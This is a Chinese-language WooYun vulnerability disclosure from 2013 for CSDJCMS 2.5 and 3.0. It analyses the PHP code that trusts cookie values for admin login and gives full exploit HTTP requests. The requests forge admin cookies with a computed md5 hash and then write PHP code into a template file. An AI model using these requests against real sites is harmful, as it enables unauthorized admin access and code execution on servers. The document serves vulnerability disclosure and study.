当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022422

漏洞标题:CSDJCMS拿shell漏洞与PHP源码分析过程

相关厂商:chshcms.com

漏洞作者: 枫叶

提交时间:2013-04-24 22:21

修复时间:2013-06-08 22:21

公开时间:2013-06-08 22:21

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-24: 细节已通知厂商并且等待厂商处理中
2013-04-24: 厂商已经确认,细节仅向厂商公开
2013-05-04: 细节向核心白帽子及相关领域专家公开
2013-05-14: 细节向普通白帽子公开
2013-05-24: 细节向实习白帽子公开
2013-06-08: 细节向公众公开

简要描述:

CSDJCMS漏洞后台拿shell

详细说明:

include_once("include/install.php");
if(S_IsInstall==0){
header("Location:install/install.php");
}
include_once("include/label.php");
if(S_Webmode==1 or !file_exists("index.html")){
//缓存区
$cache_id ='index_';
if(!($cache_opt->start($cache_id))){
echo GetTemp("index.html",0);
$cache_opt->end();
}
}
else{
header("Location:index.html");
}
//看他配置吧
function SafeRequest($key,$mode,$isfilter=''){
set_magic_quotes_runtime(0);
$magic= get_magic_quotes_gpc();
switch ($mode){
case 'post':
$value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : '';
break;
case 'get':
$value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : '';
break;
default:
$value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : '';
if($value==""){
$value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : '';
}
break;
}
if($isfilter!=''){
$value=lib_replace_end_tag($value);
}
return $value;
}
//变量的提交进行了addslashes安全过滤
//研究了半天的源码发现后台的严重出现了大的安全问题
include "../include/conn.php";
include "../include/function.php";
include "admin_version.php";
include "admin_loginstate.php"; //问题出在这个文件当中
//跟入
if(empty($_COOKIE['S_AdminID'])){ //首先看是否存在s_adminid这个cooke
echo "<script>window.location='admin_login.php'</script>";
}
elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){
//这里就是问题的关键之处了
如果s_login 的值等于 四个cookie 相加的md5加密,即可直接验证通过
echo "<script>window.parent.location='admin_login.php'</script>";
}
//后台权限判断
function SystemPer($Column){
if(empty($_COOKIE['S_Permission'])){
die("<script>jAlert('对不起,您无权限操作此功能!','操作错误',function(R){window.location='javascript:history.go(-1)';})</script>");
}else{
$SystemPermission=explode(",",$_COOKIE['S_Permission']); //权限的判断,用“,”来分割成数组
$StateOK=0;
$ArrSystemPermission=count($SystemPermission);
for($k=0;$k<$ArrSystemPermission;$k++){
if($SystemPermission[$k]==$Column){ //判断
$StateOK=1;
}
}
if($StateOK==0){
die("<script>jAlert('对不起,您无权限操作此功能!','操作错误',function(R){window.location='javascript:history.go(-1)';})</script>");
}
}
}
//构造淫荡的cookies
//S_Permission
//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
//S_Login
//md5(AdminID+AdminUserName+AdminPassWord+S_Permission)
//S_AdminUserName
//1
//S_AdminPassWord
//1
//S_AdminID
//1
后台成功绕过。
//看看3.0版本,也是一样
<?php
# Name: PHP版程氏音乐CMS管理系统 v3.0
# Author: 程氏<[email]web@chshcms.com[/email]> [QQ:848769359]
# Homepage:[url]http://www.chshcms.cn/[/url]
$CS_Path=$_SERVER['PHP_SELF'];
$CS_Pathall=explode("/",$CS_Path);
$CS_Admin=$CS_Pathall[1]."/";
if(empty($_COOKIE['CS_AdminID'])){
echo "<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php';</script>";
}
elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){
echo "<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>";
}
//后台权限判断
function SystemPer($Column){
if(empty($_COOKIE['CS_Quanx'])){
die("<script>alert('对不起,您无权限操作此功能!');window.location='javascript:history.go(-1);'</script>");
exit();
}else{
$SystemPermission=explode(",",$_COOKIE['CS_Quanx']);
$StateOK=0;
$ArrSystemPermission=count($SystemPermission);
for($k=0;$k<$ArrSystemPermission;$k++){
if($SystemPermission[$k]==$Column){
$StateOK=1;
}
}
if($StateOK==0){
die("<script>alert('对不起,您无权限操作此功能!');window.location='javascript:history.go(-1);'</script>");
exit();
}
}

漏洞证明:

exp V2.5
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com/admin/admin_t ... ;file=artindex.html
Cookie: S_Permission=1,2,3,4,5,6,7,8,9,10,11,12,13,14,15; S_Login=d8d998f3eb371c2009acd8580c1821d0; S_AdminUserName=1; S_AdminPassWord=1; S_AdminID=1; CNZZDATA4170884=cnzz_eid%3D1098390420-1364934762-http%253A%252F%252Fwww.hshxs.com%26ntime%3D1364935608%26cnzz_a%3D19%26retime%3D1365111972892%26sin%3Dnone%26ltime%3D1365111972892%26rtime%3D0; bdshare_firstime=1365107576347; PHPSESSID=u6kd9d6f18fhfr9bi4if6agcj6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
FileName=cs-bottom.php&content=%3C%3Fphp+phpinfo+%3F%3E&folder=..%2Fskins%2Findex%2Fhtml%2F&tempname=%C4%AC%C8%CF%C4%A3%B0%E6&Submit=%D0%DE%B8%C4%B5%B1%C7%B0%C4%A3%B0%E5
--------------------------------------------
exp V3.0:
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com/admin/skins/s ... ;name=cs-bottom.php
Cookie: CS_AdminID=1; CS_AdminUserName=1; CS_AdminPassWord=1; CS_Quanx=0_1,1_1,1_2,1_3,1_4,1_5,2_1,2_2,2_3,2_4,2_5,2_6,2_7,3_1,3_2,3_3,3_4,4_1,4_2,4_3,4_4,4_5,4_6,4_7,5_1,5_2,5_3,5_4,5_5,6_1,6_2,6_3,7_1,7_2,8_1,8_2,8_3,8_4; CS_Login=a3f5f5a662e8a36525f4794856e2d0a2; PHPSESSID=48ogo025b66lkat9jtc8aecub1; CNZZDATA3755283=cnzz_eid%3D1523253931-1364956519-http%253A%252F%252Fwww.djkao.com%26ntime%3D1364956519%26cnzz_a%3D1%26retime%3D1365129491148%26sin%3D%26ltime%3D1365129491148%26rtime%3D0; bdshare_firstime=1365129335963
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
name=cs-bottom.php&content=%3C%3Fphp+phpinfo%28%29+%3F%3E

修复方案:

版权声明:转载请注明来源 枫叶@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-04-24 22:24

厂商回复:

谢谢提醒,已经修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2013-05-26 20:19 | 霍大然 ( 普通白帽子 | Rank:1136 漏洞数:172 | W币花完了,刷分还是不刷?)

    这么好的分析才给5分

  2. 2013-07-05 14:37 | knife ( 普通白帽子 | Rank:155 漏洞数:24 | 抬枪上御女,提臀迎众基。)

    版权呢?老子找的漏洞。你要脸不?

  3. 2014-09-30 16:24 | D&G ( 普通白帽子 | Rank:523 漏洞数:58 | going)

    这个分析确实不错。